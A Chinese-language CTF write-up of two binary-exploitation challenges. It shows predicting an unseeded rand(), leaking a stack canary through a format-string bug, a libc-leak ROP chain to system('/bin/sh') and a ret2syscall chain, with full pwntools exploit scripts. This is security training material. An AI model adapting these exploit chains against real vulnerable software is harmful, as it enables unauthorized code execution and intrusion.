伪随机数+Stack Overflow
程序附件:
https:/zh-Closure/CTF/tree/main/%E4%BC%AA%E9%9A%8F%E6%9C%BA%E6%95%B0%2BStack%20Overflow
PWN_whatIam
首先checksec一下程序,是一个32位的程序,开了canary,nx
丢32位IDA中,看看识别出来的main:
有用的函数没几个:
sub_804862F:
注意此处的v2看起来像是一个随机数,但是在该程序中没有srand()设置随机数种子,所以这个随机数是伪随机的,种子应该为默认的0;
为了过这个条件,我们可以直接在exp中设置随机数种子为0,按照程序所提供的随机数获取方式获取一个伪随机数,此时就符合条件;
由于32位的libc.so.6在64的python中无法调用,所以这里暂时用64位做演示,
from pwn import *
from ctypes import *
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0)
rand = libc.rand()%4096 +1
log.success('rand: '+str(rand))
==》注意该伪随机数会是一个固定的数:所以我们可以通过动态调试获取这个固定值:
在mov指令上下断点,通过动态调试可直接得知这个数为1201(0x4b1)
所以只要在获取s时填写1201即可通过条件==》来到sub_8048724:
可以看到这里存在2个问题,一个就是栈溢出,一个格式化字符串漏洞,程序刚好开启了canary,可以通过格式化字符串泄露;
在栈溢出中s的大小为0x200,v2为canary在32位程序中占4,所以可以基本布局为:
payload = b"a"*0x200 + p32(canary) + b"b"*8 + p32(shellcode)
其中有填充长度为8大小的padding,这是因为0xc-v2(0x4)= 8;
所以现在还需要泄露canary,先在gets处下断点,先查看一下栈空间:找到canary所在位置:
距离栈顶为0x87(135)
所以只需要在格式化字符串漏洞中输出偏移为135的内容即可:%135$p,即可成功泄露canary;
这样就可以成功获取canary,事已至此,还剩下最后的shellcode怎么写,一般来说,我们最终都是要执行System(“/bin/sh”)的;
所以还需要system和/bin/sh的地址,所以还需要一步,获取地址;
既然如此,我们就将上面shellcode改成能泄露地址,执行完又回到有栈溢出漏洞的payload,以便于再次出发栈溢出漏洞实现rce;
payload = b"a"*0x200 +p32(canary) + b"a"*12 + p32(puts_plt)+p32(0x8048724)+p32(puts_got)+p32(0)
通过puts泄露出地址,由于题目没有提供libc,所以使用LibcSearcher进行libc匹配,就可以获取libc的基地址,并获得system等的地址:
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base+libc.dump("system")
str_bin_sh=libc_base+libc.dump("str_bin_sh")
最后最后,将上述拼凑在一起就是exp了,执行即可获取shell:
我这里提供的是本地的exp:远程只要稍微修改libc获取即可
exp
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
p = process('./whatIam')
elf = ELF('./whatIam')
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
stack_overflow = 0x8048724
p.sendlineafter(b'What I am?', b"1201")
p.sendlineafter(b'Name?', br"%135$p")
canary = int(p.recvline()[10:21],16)
log.success('canary: '+hex(canary))
payload = b"a"*0x200 +p32(canary) + b"a"*12 + p32(puts_plt)+p32(stack_overflow)+p32(puts_got)+p32(0)
p.sendlineafter(b'What I am?', b"1201")
p.sendlineafter(b'Name?', payload)
p.recvuntil(b"a"*0x200)
p.recvuntil(b"\n\n")
puts_addr = u32(p.recv(4))
log.success('puts_addr: '+hex(puts_addr))
log.success('puts_plt: '+hex(puts_plt))
log.success('puts_got: '+hex(puts_got))
# libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.sym['puts']
log.success('libc_base: '+hex(libc_base))
# libc_base = 0xf7dc7000
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search(b'/bin/sh').__next__()
main_addr=0x80487A0
payload = b"a"*0x200 +p32(canary) + b"a"*12 + p32(system)+p32(0)+p32(binsh)
p.sendlineafter(b'Name?', payload)
p.interactive()
本地结果:
PWN_PingPong
首先checksec一下程序,开启了NX;
丢64位IDA里看看:
看了一下文件大小和IDA识别出来的函数表==》这是一个静态编译的程序;
看一下程序逻辑,main函数进来后就是像上一题类似进入一个while大循环:
do_stuff函数:
又是一个随机数
和上一题类似,没有srand()设置随机数种子,所以随机数相对来说还是固定的,但是这题是64位程序,所以可以直接拿到:
from pwn import *
from ctypes import *
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0)
rand = libc.rand()%100 +1
log.success('rand: '+str(rand))
这里我们还是动态调试验证一下看看这个随机数是不是84
在mov前下断点,此时的rax为0x54(84),符合条件
win函数:
可见是一个赤裸裸的栈溢出;
由于这个程序是静态编译的,所以也就没什么libc了,并且在该程序中也没有找到system函数,所以考虑直接打syscall,静态编译程序的ROPgadget和syscall还是很多的;
系统调用号查询:
/usr/include/x86_64-linux-gnu/asm/unistd_32.h
/usr/include/x86_64-linux-gnu/asm/unistd_64.h
32位ret2syscall:
eax:0xb
ebx:bin_sh_addr
ecx:0
edx:0
int 0x80
64位ret2syscall:
rax:59
rdi:bin_sh_addr
rsi:0
rdx:0
syscall
==》实现:
execve("/bin/sh",NULL,NULL)
rax:
rdi:
rsi:
rdx:
syscall:
由于程序内没有现成的”/bin/sh”,所以需要将”/bin/sh”写进去,这边的话触发栈溢出,用read写进bss就可以了;
payload=b"a"*0x78
payload+=p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x100)
payload+=p64(elf.sym['read'])
payload触发栈溢出,并对read函数的各个参数进行赋值,接下来再对程序发送数据(/bin/sh和syscall code),就会写入bss中了,但是写入了bss程序也不会自己跳转到bss中的syscall code处执行,所以还需要控制rsp寄存器,使其指向syscall code所在地址:
payload+=p64(rsp_addr)+p64(bss_addr+0x78)
此时在触发read后,rsp就可以指向写入syscall code的地址了;
最后布置一下syscall code就ok了:
payload=b"/bin/sh\x00"+b"a"*0x70
payload+=p64(rax_addr)+p64(59)+p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr)+p64(0)+p64(rdx_addr)+p64(0)
payload+=p64(syscall_addr)
exp
# -*- coding:utf-8 -*-
from pwn import*
from ctypes import *
io = process("./pong")
elf = ELF("./pong")
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = "amd64"
io.recvuntil(b"What number do you want to ping?")
libc.srand(0)
number = libc.rand()%100 +1
log.success('rand: '+str(number))#84
io.sendline(str(number))
rax_addr = 0x00000000004201b4
rdi_addr = 0x0000000000401766
rsi_addr = 0x0000000000401887
rdx_addr = 0x00000000004436c6
syscall_addr = 0x00000000004003da
rsp_addr = 0x000000000040060b
bss_addr = elf.bss(0x700)
payload=b"a"*0x78
payload+=p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x100)
payload+=p64(elf.sym['read'])
payload+=p64(rsp_addr)+p64(bss_addr+0x78)
io.recvuntil(b"New winner!\nName? ")
io.sendline(payload)
payload=b"/bin/sh\x00"+b"a"*0x70
payload+=p64(rax_addr)+p64(59)+p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr)+p64(0)+p64(rdx_addr)+p64(0)
payload+=p64(syscall_addr)
io.send(payload)
io.interactive()
本地结果: